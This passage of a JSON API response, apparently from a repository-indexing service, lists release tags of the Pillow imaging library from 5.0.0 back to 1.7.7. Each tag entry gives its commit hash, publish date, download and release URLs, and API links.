v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.0.0/manifests"},{"name":"4.3.0","sha":"636dc62f0e8f9b233f1f2b287292b45325df135d","kind":"commit","published_at":"2017-10-02T12:23:50.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.3.0/manifests"},{"name":"4.2.1","sha":"bbde1fe6826f642d2a5967edb6c9816f8d82b8e9","kind":"commit","published_at":"2017-07-06T14:28:19.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.2.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.2.1/manifests"},{"name":"4.2.0","sha":"acb19d8e45699bf961604e48b28002b099250ddd","kind":"commit","published_at":"2017-07-01T12:46:24.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.2.0/manifests"},{"name":"4.1.1","sha":"2b4486a588bfa2bbf9ecc8dae51282d81fa5d668","kind":"commit","published_at":"2017-04-28T15:42:26.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.1.1/manifests"},{"name":"4.1.0","sha":"38eff7400426de4b1a0b0d3e88c552d695c89252","kind":"commit","published_at":"2017-04-04T18:10:22.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.1.0/manifests"},{"name":"4.0.0a","sha":"3f6db91ccc917e803227d245e38871169f08350f","kind":"commit","published_at":"2017-01-02T11:45:39.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.0.0a","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.0.0a","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.0.0a","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.0.0a","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.0.0a/manifests"},{"name":"4.0.0","sha":"a021d4978dd96371557f21c7b68feff2056a6e9b","kind":"commit","published_at":"2017-01-01T20:20:06.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.0.0/manifests"},{"name":"3.4.2","sha":"1161d2054899ba2d9955870ad425553e7f0884ac","kind":"commit","published_at":"2016-10-17T08:35:19.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.4.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.2/manifests"},{"name":"3.4.1","sha":"2e1a3c29aa3f8191d56cc7d91e9b220fab2a8cb8","kind":"commit","published_at":"2016-10-04T14:11:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.4.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.1/manifests"},{"name":"3.3.3","sha":"b28c176817d340b2fa1bf9741a33f4dc3da4d382","kind":"commit","published_at":"2016-10-04T14:07:02.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.3.3","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.3/manifests"},{"name":"3.4.0","sha":"ac5a212cee478f7f1448080d47c2c9daa29e297f","kind":"commit","published_at":"2016-10-03T15:00:29.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.0/manifests"},{"name":"3.3.2","sha":"9cf752a6979606cf2ce325174c7c129380fb313f","kind":"commit","published_at":"2016-09-30T13:55:22.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.3.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.2/manifests"},{"name":"3.3.1","sha":"aab33141f381d5577cdef9033b7fdff79122a10c","kind":"commit","published_at":"2016-08-17T20:35:58.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.3.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.1/manifests"},{"name":"3.3.0","sha":"4f4c98222914353470336ab7288c1f1876b4b2b7","kind":"commit","published_at":"2016-07-01T12:57:19.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.0/manifests"},{"name":"3.1.2","sha":"acf1c8559b720ec29f2438d7fb652e0dcf6cb0fb","kind":"commit","published_at":"2016-04-01T12:27:31.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.1.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.2/manifests"},{"name":"3.2.0","sha":"344cb709ed0111adcc6ad47cc007507c3f5efeb3","kind":"commit","published_at":"2016-04-01T12:17:23.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.2.0/manifests"},{"name":"3.1.1","sha":"eb72bf86fb867841f8a9e192e43e511bf4618709","kind":"commit","published_at":"2016-02-04T16:17:58.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.1/manifests"},{"name":"3.1.0","sha":"fff5536b37c2d619c66c1189b6925fa0a8df3822","kind":"commit","published_at":"2016-01-04T10:04:23.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.0/manifests"},{"name":"3.1.0-rc1","sha":"0f9f5cd8db3365dca23b1b2490dbccf819a07b5c","kind":"commit","published_at":"2016-01-01T16:00:32.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.1.0-rc1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.1.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.1.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.0-rc1/manifests"},{"name":"3.0.0","sha":"0177cceac4adfd0020ecbf49fb44ad275dcc1f51","kind":"commit","published_at":"2015-10-01T20:39:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.0.0/manifests"},{"name":"2.9.0","sha":"80672b61e8596c7d6dab7b4ef3ef1e4783902f51","kind":"commit","published_at":"2015-07-01T18:33:56.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.9.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0/manifests"},{"name":"2.9.0.dev2","sha":"445a8c06fce647249e6a832f595fcdfff1743ad0","kind":"commit","published_at":"2015-06-30T12:04:35.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.9.0.dev2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.9.0.dev2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.9.0.dev2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev2/manifests"},{"name":"2.9.0.dev1","sha":"96944e2dd664efb98e25d0e86671420af26fda40","kind":"commit","published_at":"2015-06-29T12:57:55.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.9.0.dev1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.9.0.dev1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.9.0.dev1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev1/manifests"},{"name":"2.9.0.dev0","sha":"efe925c26f4fb78613b5ed98d488f71a723d03e8","kind":"commit","published_at":"2015-06-28T19:07:01.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.9.0.dev0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.9.0.dev0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.9.0.dev0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev0/manifests"},{"name":"2.8.2","sha":"0222a059d62723fe056daa17f007f87dc46595b4","kind":"commit","published_at":"2015-06-06T23:52:13.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.8.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.2/manifests"},{"name":"2.8.1","sha":"3f09b8f1715b018e8249337f1432070301c61e18","kind":"commit","published_at":"2015-04-02T14:59:03.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.8.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.1/manifests"},{"name":"2.8.0","sha":"d754598f146f868e8cd7d247b3af6cf3f3c8d510","kind":"commit","published_at":"2015-04-01T19:39:41.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.8.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"0f05eb287a223ce106848cd048cfcb45e9faa565","kind":"commit","published_at":"2015-01-01T04:42:57.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.7.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.7.0/manifests"},{"name":"2.6.2","sha":"9f0ec3b0d7637e04fa735d7dfb94464301b02c1e","kind":"commit","published_at":"2015-01-01T04:11:39.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.6.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.2/manifests"},{"name":"2.6.1","sha":"4a8471dea18f6196161e4444ce5625f46cecd1e1","kind":"commit","published_at":"2014-10-13T17:13:17.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.6.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.1/manifests"},{"name":"2.6.0","sha":"9634e437efeeda906ad6bfcc275b17732d64f32a","kind":"commit","published_at":"2014-10-01T16:59:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.6.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.0/manifests"},{"name":"2.6.0-rc1","sha":"81ebc21abfdd9d152f05d8516b17efba26e4d5b7","kind":"commit","published_at":"2014-09-29T20:14:49.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.6.0-rc1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.6.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.6.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.0-rc1/manifests"},{"name":"2.5.3","sha":"68c6904c280ad872620cc8d904e6d4e6ecc5b6f9","kind":"commit","published_at":"2014-08-14T22:38:52.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.5.3","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.3/manifests"},{"name":"2.3.2","sha":"30529a02793354453971e874be0e78d554d770d9","kind":"commit","published_at":"2014-08-12T18:48:14.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.3.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.2/manifests"},{"name":"2.5.2","sha":"4081f9f6a504c9d3b83237fafdecf2be042976a8","kind":"commit","published_at":"2014-08-12T18:44:56.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.5.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.2/manifests"},{"name":"2.5.1","sha":"1ab78b8fb7e1f7078dd110bc8d9fba3cc0006e51","kind":"commit","published_at":"2014-07-10T21:54:59.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.5.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.1/manifests"},{"name":"2.5.0","sha":"80d6137c860b9322572ee1390514df1975acb2e7","kind":"commit","published_at":"2014-07-01T22:39:40.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.5.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"72de37caada5d9ff7c657ce5f4ad6f8a6a3870f0","kind":"commit","published_at":"2014-04-01T22:31:55.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.4.0/manifests"},{"name":"2.3.1","sha":"b8d4895bd5c41fce88a8ad436672bd8033414797","kind":"commit","published_at":"2014-03-14T23:44:59.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.3.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.1/manifests"},{"name":"2.3.0","sha":"b1b88cf4d255c4b9faf1dae05faaa78091268cb1","kind":"commit","published_at":"2014-01-01T21:10:13.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.0/manifests"},{"name":"2.2.2","sha":"72e54e1c53478a173b7e51b5703348453d5a19d4","kind":"commit","published_at":"2013-12-11T23:05:54.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.2.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.2/manifests"},{"name":"2.2.1","sha":"3c2496e117f4d045a99d7e376133e67b47217ce2","kind":"commit","published_at":"2013-10-02T17:07:32.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.2.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.1/manifests"},{"name":"2.2.0","sha":"9b0bc48d26b021ba40bbf1aaf6291ef664f9d083","kind":"commit","published_at":"2013-10-02T11:18:39.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"75af7e00db304ed34557c856c609d10ecf44d49c","kind":"commit","published_at":"2013-07-02T12:52:49.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.1.0/manifests"},{"name":"2.0.0","sha":"baea361b9a29e9a1dfa5a9b8e11bc9624a9cee46","kind":"commit","published_at":"2013-03-15T12:59:50.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.0.0/manifests"},{"name":"1.7.8","sha":"4a10a363e4a220149f7efbf109ac5bf0d1d85b35","kind":"commit","published_at":"2012-11-01T21:09:46.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.7.8","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.7.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@1.7.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.8/manifests"},{"name":"1.7.7","sha":"aaac591549807d183ec8855e5f86bd4584411a87","kind":"commit","published_at":"2012-04-05T01:15:07.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.7.7","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.7.7","dependencies_parsed